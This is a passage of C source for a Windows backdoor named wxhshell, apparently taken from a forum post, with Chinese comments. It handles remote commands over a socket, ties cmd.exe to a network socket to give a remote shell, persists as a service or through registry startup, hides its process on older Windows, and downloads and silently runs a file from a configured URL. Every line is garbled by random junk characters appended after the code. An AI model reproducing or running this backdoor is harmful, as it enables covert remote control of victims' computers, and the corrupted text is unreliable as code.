  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`s1 Ocvp  
  } \K lY8\c[  
  else { WopA7J,  
9)n3f^,Oj*  
    switch(cmd[0]) { !, sQB_09C  
  {@'#|]4y.  
  // 帮助 0Ca/[_  
  case '?': { tItI^]w2s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d6zq,x!cI  
    break; MRHRa  
  } Y~I0\8s-  
  // 安装 +O8}twt@  
  case 'i': { r jnf30  
    if(Install()) hD,xJ]zv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9`_~~^U5  
    else KB{/L5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z5*O\kJv  
    break; sD6vHX%  
    } nFefDdP  
  // 卸载 "ER= c3 t  
  case 'r': { cA{,2CYc  
    if(Uninstall()) `0=j,54cx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /1hcw|cfC  
    else *N](Xtbj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lp+?5DjLT  
    break; ("=B,%F_  
    } JaN53,&<  
  // 显示 wxhshell 所在路径 r90R~'5x9  
  case 'p': { ;F/s!bupCM  
    char svExeFile[MAX_PATH]; ciN*gwI)  
    strcpy(svExeFile,"\n\r"); JNI&]3[C>?  
      strcat(svExeFile,ExeFile); G.^^zmsM`  
        send(wsh,svExeFile,strlen(svExeFile),0); Mu_'C$zA  
    break; 3IoN.  
    } 3\|PwA9fN8  
  // 重启 * [b~2  
  case 'b': { q=k[]vD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TezwcFqH  
    if(Boot(REBOOT)) 9hhYyqGsO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {dvsZJj  
    else { eM^Y  
    closesocket(wsh); Jx8DVjy  
    ExitThread(0); $o*p#LU  
    } jG,^~ 5x  
    break; ?T>NvKF  
    } T>v`UN Bl]  
  // 关机 #/WjKr n  
  case 'd': { V&d?4i4/Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f/i[? gw  
    if(Boot(SHUTDOWN)) 9|>5;Ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1[pO_  
    else { N 0(($8G  
    closesocket(wsh); ?WrL<?r)}U  
    ExitThread(0); A~'p~ @L  
    } z2SR/[I?  
    break; V V Aw y6  
    } ?$4CgN-  
  // 获取shell Q0TKM >  
  case 's': { NqN9  
    CmdShell(wsh); \3cg\Q+~  
    closesocket(wsh); D o!]t7Y$  
    ExitThread(0); +fq;o8q  
    break; )h;zH,DA[3  
  } (9!kKMQW'  
  // 退出 '59l.  
  case 'x': { 3$kElq[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i-&"1D[&  
    CloseIt(wsh); |r53>,oR<:  
    break; t Ow[  
    } Jv:|J DZ'  
  // 离开 U,nQnD"!t&  
  case 'q': { .n)0@X!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q9 RCN<!  
    closesocket(wsh); IV$2`)[A&X  
    WSACleanup(); l,1.6  
    exit(1); DT#Z6A  
    break; p2o6 6t  
        } s B!2't  
  } SlUt&+)  
  } |} K7Q  
DZ0\pp?S  
  // 提示信息 " qrL:,   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , MU9p*  
} Jl,\^)DSw  
  } .;~K*GC  
]ch=D  
  return; 0B~Q.tyP  
} K?aUIkVs  
GE.@*W  
// shell模块句柄 Voc&T+A m  
int CmdShell(SOCKET sock) `o!a RX  
{ 1Du9N[2'P  
STARTUPINFO si; sOW,hpNW  
ZeroMemory(&si,sizeof(si)); <x2 F5$@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &:)e   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @;@Wt`(2a  
PROCESS_INFORMATION ProcessInfo; tc<t%]c  
char cmdline[]="cmd"; %epK-q9[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $U/_8^6B0  
  return 0; },LW@Z}  
} H@WQO]P A  
A?8 29<  
// 自身启动模式  %;9+`U  
int StartFromService(void) /q8?xP.   
{ da&f0m U  
typedef struct i<Be)Y-'  
{ in6iJ*E@'  
  DWORD ExitStatus; > ak53Ij$  
  DWORD PebBaseAddress; >h m<$3  
  DWORD AffinityMask; m=< ;)  
  DWORD BasePriority; &c!=< <5M  
  ULONG UniqueProcessId; ".SQ*'Oc  
  ULONG InheritedFromUniqueProcessId; 'Kj8X{BSFb  
}   PROCESS_BASIC_INFORMATION; %C[ ;&  
Kv:ih=?  
PROCNTQSIP NtQueryInformationProcess; dj76YK  
+<ey Iw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X7]vXo*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4&/-xg87(  
^MWfFpJV!]  
  HANDLE             hProcess; (IR'~ :W  
  PROCESS_BASIC_INFORMATION pbi; P( W8XC  
^ffh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9D_4]'KG  
  if(NULL == hInst ) return 0; !2N#H~{  
UmU=3et<Wj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :LFw J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BI=Ie?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \?fl%r2  
*R>I%?]V3  
  if (!NtQueryInformationProcess) return 0; !`='K +  
.{-8gAh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9=I(AYG{m  
  if(!hProcess) return 0; 3&?Tc|F+  
<RhKlCP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ I?;%  
ap6Vmp  
  CloseHandle(hProcess); W X\%FJ  
n3|~X/I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dl":?D4H  
if(hProcess==NULL) return 0; ,-b{oS~u  
~y|%D;  
HMODULE hMod; ~AE034_N  
char procName[255]; yh0|f94m  
unsigned long cbNeeded; =V,'f  
&^uzg&,;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %DV@2rC<  
e:,.-Kvzp`  
  CloseHandle(hProcess); NqwVs VL  
Zgg7pL)#c  
if(strstr(procName,"services")) return 1; // 以服务启动 l =_@<p  
|@@mq!>-  
  return 0; // 注册表启动 C3b'Q  
} bL&]3n9Rwu  
=:g^_Hy  
// 主模块 $>h#|?*?  
int StartWxhshell(LPSTR lpCmdLine) W8P**ze4)  
{ *g,?13Q_  
  SOCKET wsl; $@Ay0GEI"  
BOOL val=TRUE; qA~D*=  
  int port=0; xBZ9|2Y s  
  struct sockaddr_in door; 2?r8>#_*  
fM|g8(TK,  
  if(wscfg.ws_autoins) Install(); hv"toszj\  
__V]HcP;  
port=atoi(lpCmdLine); 3H%HJS  
4bxkp3~h;  
if(port<=0) port=wscfg.ws_port; 5"gRz9Ta`  
(En\odbvt  
  WSADATA data; *M|\B|A.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &53#`WgJ  
Fm;)7.% >  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kdUGmR0d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )]%9Tgn  
  door.sin_family = AF_INET; BH-[q9pf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x7@WWFF>  
  door.sin_port = htons(port); &CL|q+-  
,Mhe:^3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9_Re,h  
closesocket(wsl); l'W+^  
return 1; ILi5WuOYX  
} sv;zvEn;-L  
0v@/I<  
  if(listen(wsl,2) == INVALID_SOCKET) { YSV,q@I&1  
closesocket(wsl); } x.)gW  
return 1; q`aY.dD=O  
} KCk?)Qv  
  Wxhshell(wsl); x ct U.)p  
  WSACleanup(); t%U[\\ic  
m"G N^V7  
return 0; ?nZ <?  
l;BX\S  
} S/-7Zo&w+  
JQ_gM._3  
// 以NT服务方式启动 CjQ"oQw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DLYZsWA,  
{ cU*lB!  
DWORD   status = 0; qu ~|d}0  
  DWORD   specificError = 0xfffffff; xD  
Yg)V*%0n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EyPJvs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uXLZtfu{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;a#*|vx  
  serviceStatus.dwWin32ExitCode     = 0; yK077zH_  
  serviceStatus.dwServiceSpecificExitCode = 0; b!]0mXU  
  serviceStatus.dwCheckPoint       = 0; *e<Eu>fW#&  
  serviceStatus.dwWaitHint       = 0; fhV0S>*<  
.H^P2tp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'yd@GQM&  
  if (hServiceStatusHandle==0) return; -2& i)S0R  
?{: D,{+  
status = GetLastError(); V-_/(xt*  
  if (status!=NO_ERROR) WE[m@K[CR  
{ Q0cY/'>4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qon{ g  
    serviceStatus.dwCheckPoint       = 0; C4{\@v}t  
    serviceStatus.dwWaitHint       = 0; <'[Ku;m  
    serviceStatus.dwWin32ExitCode     = status; =dM.7$6) R  
    serviceStatus.dwServiceSpecificExitCode = specificError; \V^*44+ <!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C.>  
    return; RxZm/:yuJ.  
  } P>Q{He:  
q[G/}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (`6%og#8  
  serviceStatus.dwCheckPoint       = 0; -@2'I++"@  
  serviceStatus.dwWaitHint       = 0; &Vt2be*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s=N#CE  
} :p<kQ4   
bar0{!Y"  
// 处理NT服务事件,比如:启动、停止 'j,oIqx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BWUt{,?KU  
{ o\ngR\>  
switch(fdwControl) 8/3u/  
{ S Pn8\2Cj  
case SERVICE_CONTROL_STOP: FaFp_P?  
  serviceStatus.dwWin32ExitCode = 0; 'y9*uT~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #JA}LA"l  
  serviceStatus.dwCheckPoint   = 0; 2{ o0@  
  serviceStatus.dwWaitHint     = 0; LJGJ|P  
  { X9fNGM1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |gnAqkW0  
  } V+lRi"m?|  
  return; FY]pv6@  
case SERVICE_CONTROL_PAUSE: i&`!|X-=R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AnNP Ti  
  break; pW\z\o/2  
case SERVICE_CONTROL_CONTINUE: }[ ].\G\G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EeCFII  
  break; H]s4% 9T  
case SERVICE_CONTROL_INTERROGATE: uBmxh%]C~  
  break; Wo{K}  
}; :pwa{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nv"G;W  
} T2wv0sHlt  
Z>8eD|m%2  
// 标准应用程序主函数 2FGx _ Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ga-{!$b*  
{ 3DW3LYo{  
*g1L$FBG  
// 获取操作系统版本 ic-IN~J-  
OsIsNt=GetOsVer(); LM:)j:gS6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I"1CgKYK^+  
J A`H@qE  
  // 从命令行安装 =}v ;1m  
  if(strpbrk(lpCmdLine,"iI")) Install(); !h CS#'  
H`-=?t  
  // 下载执行文件 qD-fw-,:  
if(wscfg.ws_downexe) { QH~Jy*\+PX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j0FW8!!-g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7^MX l  
} d&jjWlHgEN  
rjUBLY1(  
if(!OsIsNt) { 0(gq; H5x'  
// 如果时win9x,隐藏进程并且设置为注册表启动 E-fr}R}  
HideProc(); ; 0ko@ \Lq  
StartWxhshell(lpCmdLine); ^s{hs(8%R  
} :)IV!_>'d  
else \9)#l#m  
  if(StartFromService()) CISO<z0  
  // 以服务方式启动 dl0FQNz8@B  
  StartServiceCtrlDispatcher(DispatchTable); b,@aqu  
else tnb$sulc+  
  // 普通方式启动 *Qkc[XHqy  
  StartWxhshell(lpCmdLine); DM),|Nq"  
Ei5wel6!  
return 0; zizk7<?L .  
}
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只看该作者 1 发表于: 2006-10-10
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